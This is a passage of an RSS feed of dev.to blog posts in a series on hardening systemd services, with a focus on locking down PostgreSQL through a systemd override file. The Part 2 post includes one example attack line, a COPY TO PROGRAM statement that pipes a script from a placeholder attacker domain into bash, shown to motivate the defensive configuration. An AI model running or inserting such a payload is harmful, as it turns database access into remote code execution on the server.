&lt;span class="nb"&gt;sudo &lt;/span&gt;vim /etc/systemd/system/postgresql@16-main.service.d/override.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now add these options to the file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;Service]
&lt;span class="c"&gt;# ── BYPASS pg_ctlcluster (it's a perl script — breaks TemporaryFileSystem) ──&lt;/span&gt;
&lt;span class="nv"&gt;ExecStart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="nv"&gt;ExecStart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/lib/postgresql/16/bin/postgres &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-D&lt;/span&gt; /var/lib/postgresql/16/main &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="nv"&gt;config_file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/etc/postgresql/16/main/postgresql.conf &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="nv"&gt;hba_file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/etc/postgresql/16/main/pg_hba.conf &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="nv"&gt;ident_file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/etc/postgresql/16/main/pg_ident.conf &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="nv"&gt;external_pid_file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/run/postgresql/16-main.pid
&lt;span class="nv"&gt;ExecStop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="nv"&gt;ExecStop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/lib/postgresql/16/bin/pg_ctl stop &lt;span class="nt"&gt;-D&lt;/span&gt; /var/lib/postgresql/16/main &lt;span class="nt"&gt;-m&lt;/span&gt; fast
&lt;span class="nv"&gt;ExecReload&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="nv"&gt;ExecReload&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/lib/postgresql/16/bin/pg_ctl reload &lt;span class="nt"&gt;-D&lt;/span&gt; /var/lib/postgresql/16/main

&lt;span class="nv"&gt;User&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;postgres
&lt;span class="nv"&gt;Group&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;postgres

&lt;span class="c"&gt;# ── BLANK ALL EXECUTABLE DIRS ────────────────────────&lt;/span&gt;
&lt;span class="nv"&gt;TemporaryFileSystem&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/bin:ro
&lt;span class="nv"&gt;TemporaryFileSystem&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/bin:ro
&lt;span class="nv"&gt;TemporaryFileSystem&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/sbin:ro
&lt;span class="nv"&gt;TemporaryFileSystem&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/sbin:ro
&lt;span class="nv"&gt;TemporaryFileSystem&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/bin:ro
&lt;span class="nv"&gt;TemporaryFileSystem&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/sbin:ro
&lt;span class="nv"&gt;TemporaryFileSystem&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/snap:ro
&lt;span class="nv"&gt;TemporaryFileSystem&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/opt:ro

&lt;span class="c"&gt;# ── RE-EXPOSE ONLY WHAT'S NEEDED ─────────────────────&lt;/span&gt;
&lt;span class="nv"&gt;BindReadOnlyPaths&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/lib/postgresql/16/bin/postgres:/usr/lib/postgresql/16/bin/postgres
&lt;span class="nv"&gt;BindReadOnlyPaths&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/lib/postgresql/16/bin/pg_ctl:/usr/lib/postgresql/16/bin/pg_ctl
&lt;span class="nv"&gt;BindReadOnlyPaths&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/lib/postgresql/16/lib:/usr/lib/postgresql/16/lib
&lt;span class="nv"&gt;BindReadOnlyPaths&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/lib/x86_64-linux-gnu:/lib/x86_64-linux-gnu
&lt;span class="nv"&gt;BindReadOnlyPaths&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu

&lt;span class="c"&gt;# ── FILESYSTEM ───────────────────────────────────────&lt;/span&gt;
&lt;span class="nv"&gt;ProtectSystem&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;strict
&lt;span class="nv"&gt;ProtectHome&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes
&lt;/span&gt;&lt;span class="nv"&gt;PrivateTmp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes
&lt;/span&gt;&lt;span class="nv"&gt;ReadWritePaths&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/lib/postgresql /var/run/postgresql /var/log/postgresql

&lt;span class="c"&gt;# ── BEHAVIORAL ───────────────────────────────────────&lt;/span&gt;
&lt;span class="nv"&gt;NoNewPrivileges&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes
&lt;/span&gt;&lt;span class="nv"&gt;RestrictNamespaces&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes
&lt;/span&gt;&lt;span class="nv"&gt;RestrictAddressFamilies&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;AF_UNIX AF_INET AF_INET6
&lt;span class="nv"&gt;ProtectKernelTunables&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes
&lt;/span&gt;&lt;span class="nv"&gt;ProtectKernelModules&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes
&lt;/span&gt;&lt;span class="nv"&gt;ProtectControlGroups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes
&lt;/span&gt;&lt;span class="nv"&gt;ProtectProc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;invisible
&lt;span class="nv"&gt;UMask&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0027
&lt;span class="nv"&gt;CapabilityBoundingSet&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="nv"&gt;AmbientCapabilities&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;

&lt;span class="c"&gt;# ── SYSCALL FILTER ────────────────────────────────────&lt;/span&gt;
&lt;span class="nv"&gt;SystemCallFilter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;@system-service @file-system @network-io
&lt;span class="nv"&gt;SystemCallErrorNumber&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;EPERM
&lt;span class="nv"&gt;MemoryDenyWriteExecute&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes
&lt;/span&gt;&lt;span class="nv"&gt;LockPersonality&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes
&lt;/span&gt;&lt;span class="nv"&gt;RestrictSUIDSGID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Note: There may many issues setting up this configuration. So, make sure this only done on Staging env and test it thoroughly.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl daemon-reload
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart postgresql@16-main.service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So, If you check status&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl status postgresql@16-main.service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You will see all the options are enabled.&lt;/p&gt;

&lt;p&gt;If there any issues just check logs&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;journalctl &lt;span class="nt"&gt;-u&lt;/span&gt; postgresql@16-main.service &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 50
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Reverting Configuration
&lt;/h2&gt;

&lt;p&gt;Finaly to remove this configuration just run&lt;/p&gt;

&lt;p&gt;First we have remove the conf file.&lt;/p&gt;

&lt;p&gt;And restart daemon and restart service.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo rm&lt;/span&gt; /etc/systemd/system/postgresql@16-main.service.d/override.conf
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl daemon-reload
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart postgresql@16-main.service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This is the only way I found to disable copy function in postgres. This may be experimental but still worth for adding this config if you want disable postgress copy to program function.&lt;/p&gt;

&lt;p&gt;Reference Man Page Systemd : &lt;a href="https://www.freedesktop.org/software/systemd/man/latest/systemd.exec.html" rel="noopener noreferrer"&gt;https://www.freedesktop.org/software/systemd/man/latest/systemd.exec.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Discussion in HN: &lt;a href="https://news.ycombinator.com/item?id=37164115" rel="noopener noreferrer"&gt;https://news.ycombinator.com/item?id=37164115&lt;/a&gt;&lt;br&gt;
PostgreSQL Discussion : &lt;a href="https://www.postgresql.org/message-id/CAKFQuwZZ0zAMpp2KjBr5bUS7RvBqouD2Kqne6YtbgZn%3DnzL1xA%40mail.gmail.com" rel="noopener noreferrer"&gt;https://www.postgresql.org/message-id/CAKFQuwZZ0zAMpp2KjBr5bUS7RvBqouD2Kqne6YtbgZn%3DnzL1xA%40mail.gmail.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png" alt="git-lrc" width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It’s online, source-available, and ready for anyone to use. &lt;br&gt;
⭐ Star it on GitHub: &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;https://github.com/HexmosTech/git-lrc&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Understanding Systemd.exec - Part 2: Solving Postgres Vulnerability.</title>
      <dc:creator>Ganesh Kumar</dc:creator>
      <pubDate>Thu, 23 Apr 2026 10:23:20 +0000</pubDate>
      <link>https://dev.to/ganesh-kumar/understanding-systemdexec-part-2-solving-postgres-vulnerability-3aia</link>
      <guid>https://dev.to/ganesh-kumar/understanding-systemdexec-part-2-solving-postgres-vulnerability-3aia</guid>
      <description>&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on Github. &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;Star Us&lt;/a&gt; to help devs discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;In previous article I explained few core features of the Systemd configuration. In this article, I will be going to demonstrate how to use these options to secure Postgres service running in systemd.&lt;/p&gt;

&lt;p&gt;Postgres is a popular relational database management system. It is widely used in enterprise applications.&lt;/p&gt;

&lt;p&gt;Postgres can be run in systemd and can be secured using systemd.exec options.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Postgres need systemd.exec options?
&lt;/h2&gt;

&lt;p&gt;If any one breached the db access they not only get the data but also get access to shell access of the server.&lt;/p&gt;

&lt;p&gt;With use of postgrace copy to function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;COPY &lt;span class="o"&gt;(&lt;/span&gt;SELECT 1&lt;span class="o"&gt;)&lt;/span&gt; TO PROGRAM &lt;span class="s1"&gt;'curl -L https://{attacker-domain.com}/install | bash'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This way they can break through the database and get access to the server.&lt;/p&gt;

&lt;p&gt;To remove this access there are multiple ways &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;creating roles based postgresql access and remove all pgexec to specific role.&lt;/li&gt;
&lt;li&gt;Blocking port access to internet.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Still, this feature will be accessible to admin user.&lt;/p&gt;

&lt;p&gt;Lot of discussion went on adding disable feature in pg but many also argued that this is core function as Select feature is such that it can't be removed.&lt;/p&gt;

&lt;p&gt;Also some also says it is core function many other's use for thier company opertion.&lt;/p&gt;

&lt;p&gt;To disable this feature in postgres, as we saw in previous article we can use systemd.exec options.&lt;/p&gt;

&lt;h2&gt;
  
  
  Coming Up Next
&lt;/h2&gt;

&lt;p&gt;we will securing Postgrace access using systemd.exec options.&lt;/p&gt;

&lt;p&gt;Discussion in HN: &lt;a href="https://news.ycombinator.com/item?id=37164115" rel="noopener noreferrer"&gt;https://news.ycombinator.com/item?id=37164115&lt;/a&gt;&lt;br&gt;
PostgreSQL Discussion : &lt;a href="https://www.postgresql.org/message-id/CAKFQuwZZ0zAMpp2KjBr5bUS7RvBqouD2Kqne6YtbgZn%3DnzL1xA%40mail.gmail.com" rel="noopener noreferrer"&gt;https://www.postgresql.org/message-id/CAKFQuwZZ0zAMpp2KjBr5bUS7RvBqouD2Kqne6YtbgZn%3DnzL1xA%40mail.gmail.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png" alt="git-lrc" width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It’s online, source-available, and ready for anyone to use. &lt;br&gt;
⭐ Star it on GitHub: &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;https://github.com/HexmosTech/git-lrc&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Understanding Systemd.exec - Part 1: How to Secure Applications Running in Systemd?</title>
      <dc:creator>Ganesh Kumar</dc:creator>
      <pubDate>Tue, 21 Apr 2026 18:39:42 +0000</pubDate>
      <link>https://dev.to/ganesh-kumar/understanding-systemdexec-part-1-how-to-secure-applications-running-in-systemd-4ejo</link>
      <guid>https://dev.to/ganesh-kumar/understanding-systemdexec-part-1-how-to-secure-applications-running-in-systemd-4ejo</guid>
      <description>&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on GitHub. &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;Star Us&lt;/a&gt; to help devs discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;If you are running applications with systemd and want to restrict how they interact with Linux kernel features (like filesystem, processes, and capabilities), you can use the systemd.exec configuration options. &lt;/p&gt;

&lt;p&gt;In this article I will be going to explain how to use these options to secure your application.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are systemd.exec options?
&lt;/h2&gt;

&lt;p&gt;Systemd.exec options are a set of configuration options that are used to configure how a systemd service interacts with the Linux kernel. &lt;/p&gt;

&lt;p&gt;This feature is mainly used to provide security for the applications running in systemd.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why we need this option in first place?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Hardening services (Postgres, Nginx, workers, etc) which are mostly open to the internet&lt;/li&gt;
&lt;li&gt;Reducing blast radius after compromise &lt;/li&gt;
&lt;li&gt;Lightweight (no container overhead)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  How is this different from Docker?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Works on a single process/service.&lt;/li&gt;
&lt;li&gt;Applies restrictions on top of the host.&lt;/li&gt;
&lt;li&gt;Uses kernel features (namespaces, cgroups, capabilities)&lt;/li&gt;
&lt;li&gt;Shares the same root filesystem (by default)&lt;/li&gt;
&lt;li&gt;No packaging, no images&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is the real usecase?
&lt;/h2&gt;

&lt;p&gt;Let's take an example of service.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/etc/systemd/system/myapp.service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside this file, we can control:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Where the app runs&lt;/li&gt;
&lt;li&gt;Which user it runs as&lt;/li&gt;
&lt;li&gt;What it can access&lt;/li&gt;
&lt;li&gt;How secure / isolated it is&lt;/li&gt;
&lt;li&gt;What resources it can use&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Most common options
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Run a service as non-root (security)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Set &lt;code&gt;User=&lt;/code&gt; &lt;code&gt;Group=&lt;/code&gt; to a non-privileged user (e.g. &lt;code&gt;postgres&lt;/code&gt;, &lt;code&gt;www-data&lt;/code&gt;).&lt;br&gt;
This will prevent the service from running as root, which can lead to security vulnerabilities.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;Service]
&lt;span class="nv"&gt;User&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;postgres
&lt;span class="nv"&gt;Group&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;postgres
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Restrict filesystem access&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Set &lt;code&gt;ProtectSystem=&lt;/code&gt; &lt;code&gt;ProtectHome=&lt;/code&gt; &lt;code&gt;ReadWritePaths=&lt;/code&gt; &lt;code&gt;ReadOnlyPaths=&lt;/code&gt; to control filesystem access.&lt;br&gt;
This will make service only read/ write specifed directory.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;Service]
&lt;span class="nv"&gt;ProtectSystem&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;strict
&lt;span class="nv"&gt;ProtectHome&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes
&lt;/span&gt;&lt;span class="nv"&gt;ReadWritePaths&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/lib/postgresql
&lt;span class="nv"&gt;ReadOnlyPaths&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/lib/postgresql/16/bin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Isolate runtime environment (like lightweight container)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Set &lt;code&gt;PrivateTmp=yes&lt;/code&gt; &lt;code&gt;NoNewPrivileges=yes&lt;/code&gt; to isolate runtime environment.&lt;br&gt;
As there is no container like docker this will be running in the host but under private tmp and no new privileges.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;Service]
&lt;span class="nv"&gt;PrivateTmp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes
&lt;/span&gt;&lt;span class="nv"&gt;NoNewPrivileges&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Limit resources (avoid abuse / crashes)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Set &lt;code&gt;CPUQuota=&lt;/code&gt; &lt;code&gt;MemoryMax=&lt;/code&gt; &lt;code&gt;MemoryHigh=&lt;/code&gt; &lt;code&gt;MemoryLimit=&lt;/code&gt; &lt;code&gt;MemoryAccounting=&lt;/code&gt; to limit resources.&lt;br&gt;
If we want specific service to use only limited resources, we can use these options.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;Service]
&lt;span class="nv"&gt;CPUQuota&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;50%
&lt;span class="nv"&gt;MemoryMax&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;512M
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Provide controlled writable directories
Set &lt;code&gt;ReadWritePaths=&lt;/code&gt; &lt;code&gt;ReadOnlyPaths=&lt;/code&gt; to control filesystem access.
This will make service only read/ write specifed directory.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;Service]
&lt;span class="nv"&gt;ReadWritePaths&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/lib/postgresql
&lt;span class="nv"&gt;ReadOnlyPaths&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/lib/postgresql/16/bin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Drop dangerous privileges&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Set &lt;code&gt;CapabilityBoundingSet=&lt;/code&gt; to drop dangerous privileges.&lt;br&gt;
This will make service only able to run commands with specific privileges.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;Service]
&lt;span class="nv"&gt;CapabilityBoundingSet&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;CAP_NET_BIND_SERVICE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Run temporary / ephemeral services
Set &lt;code&gt;RuntimeDirectory=&lt;/code&gt; &lt;code&gt;StateDirectory=&lt;/code&gt; &lt;code&gt;LogsDirectory=&lt;/code&gt; to run temporary / ephemeral services.
This will run the service in a temporary / ephemeral directory.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;Service]
&lt;span class="nv"&gt;RuntimeDirectory&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;myapp
&lt;span class="nv"&gt;StateDirectory&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;myapp
&lt;span class="nv"&gt;LogsDirectory&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;myapp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Limit process / thread count
Set &lt;code&gt;TasksMax=&lt;/code&gt; to limit process / thread count.
This will make service only able to run with specific process / thread count.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;Service]
&lt;span class="nv"&gt;TasksMax&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;100
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Restrict access to system calls
Set &lt;code&gt;SystemCallFilter=&lt;/code&gt; &lt;code&gt;SystemCallArchitectures=&lt;/code&gt; to restrict access to system calls.
This will make service only able to use specific system calls.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;Service]
&lt;span class="nv"&gt;SystemCallFilter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;open,read,write,close
&lt;span class="nv"&gt;SystemCallArchitectures&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;amd64
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Security measures for Docker Engine
Set &lt;code&gt;Delegate=yes&lt;/code&gt; to run Docker Engine with specific privileges.
This will make Docker Engine only able to run with specific privileges.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;Service]
&lt;span class="nv"&gt;Delegate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;We could able to use systemd.exec options to secure application running in systemd.&lt;/p&gt;

&lt;p&gt;But Until we integrate with real application and test these options, we can't be sure about the security.&lt;/p&gt;

&lt;p&gt;In the next article we will see how service react with integrations of these options.&lt;/p&gt;

&lt;p&gt;Reference Man Page Systemd : &lt;a href="https://www.freedesktop.org/software/systemd/man/latest/systemd.exec.html" rel="noopener noreferrer"&gt;https://www.freedesktop.org/software/systemd/man/latest/systemd.exec.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png" alt="git-lrc" width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It’s online, source-available, and ready for anyone to use. &lt;br&gt;
⭐ Star it on GitHub: &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;https://github.com/HexmosTech/git-lrc&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
